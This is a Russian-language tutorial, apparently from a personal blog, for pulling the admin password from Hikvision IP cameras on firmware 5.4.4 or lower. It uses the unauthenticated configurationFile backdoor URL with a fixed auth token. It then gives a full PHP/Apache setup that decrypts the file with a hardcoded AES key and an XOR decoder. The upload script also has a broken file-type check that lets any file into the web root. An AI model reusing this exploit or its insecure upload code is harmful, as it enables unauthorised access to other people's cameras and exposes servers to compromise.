Описание работы программы
Вы можете просмотреть пароль камеры, даже не сбрасывая ее настройки
Список требований
1. Версия прошивки камеры должна быть 5.4.4 или ниже. Используйте SADP Tool, чтобы проверить
2. Ваш компьютер или ноутбук должен быть в той же локальной сети, что и камера
Чтобы проверить наличие уязвимости и версию прошивки на камере
1. Загрузите и установите программу SADP Tool на свой компьютер или ноутбук
Ссылка для скачивания
2. Перейдите на следующий IP-адрес в своем браузере
http://camera_ip/System/configurationFile?auth=YWRtaW46MTEK
Где, camera ip — IP — адрес камеры. Узнать IP можно с помощьюSADP программа
3. С помощью формы ниже отправьте файл (configurationFile), который вы скачали ранее, затем щелкните для Decrypt и Download File
Готовый вариант рабочего скрипта можно увидеть на странице https://saniaowner.space/2019/12/13/hikvision-sbros-parolya в разделе Камеры
Создание самой программы
Теперь более подробно о структуре скрипта
- Используем Ubuntu Server 18
- Обновить пакеты
sudo apt-get update
sudo apt-get upgrade
- Установка PHP
sudo apt install php libapache2-mod-php php-mysql
- Установка Apache
sudo apt install apache2
Перезапуск Apache для применения внесенных измененийsudo systemctl restart apache2
- Включить обработку файла .htaccess
sudo nano /etc/apache2/apache2.conf
Измените значение параметра AllowOverride:AllowOverride All
Перезапуск Apache:sudo systemctl restart apache2
- Установка OpenJDK 8
sudo apt install openjdk-8-jdk
- Добавить пользователя www-data в группу Users
sudo usermod -a -G users www-data
- Изменить владельца корневого каталога сервера
sudo chown -R user:users /var/www
2. Создать папку hik_reset в корневой директории
3. Скопировать файл XORDecode.java в папку hik_reset
4. Создаем форму с названием hik_reset.php для отправки configurationFile (файл что получили с камеры)
<form enctype="multipart/form-data" action="/hik_reset_.php" method="POST">
<h2>Hikvision IP camera:</h2>
<p><input name="userfile" type="file" />
<input type="submit" value="Decrypt" />
</form>
5. Создаем скрипт обработки
<?php
$uploaddir = 'hik_reset/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($uploadfile,PATHINFO_EXTENSION));
$file = basename($_FILES['userfile']['name']);
// Проверить размер файла
if ($_FILES["userfile"]["size"] > 10000000) {
echo "Sorry, your file is too large. \n";
$uploadOk = 0;
}
// Разрешить определенные форматы файлов
if($imageFileType != "" && $imageFileType != "") {
$uploadOk = 0;
}
// Проверьте, имеет ли $uploadOk значение 0 по ошибке
if ($uploadOk == 0) {
//echo "Error.";
// если все в порядке, попробуйте загрузить файл
} else {
if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) {
echo 'Done';
} else {
echo "Error. Please try again\n";
}
}
rename ($uploaddir . $file, "hik_reset/configurationFile");
$output1 = 'decryptedoutput';
exec("cd /var/www/html/hik_reset; openssl enc -d -in configurationFile -out ".$output1." -aes-128-ecb -K 279977f62f6cfd2d91cd75b889ce0c9a -nosalt -md md5");
exec("cd /var/www/html/hik_reset; javac XORDecode.java;");
exec("cd /var/www/html/hik_reset; java XORDecode;");
$complete = md5(time()).'plaintextOutput' ; //новый файл что создается
rename("hik_reset/plaintextOutput" , $uploaddir. $complete);
unlink('hik_reset/configurationFile');
unlink($uploaddir.'decryptedoutput');
unlink($uploaddir.'XORDecode.class');
$link= $uploaddir.$complete; //кнопка скачать
echo "<a href=$link><h2>Download file</h2></a>"; //кнопка скачать
?>
Для некоторых пунктов я сделал описание, остальные команды легко найти в интернете. К тому же скрипт можно модифицировать под свои нужны.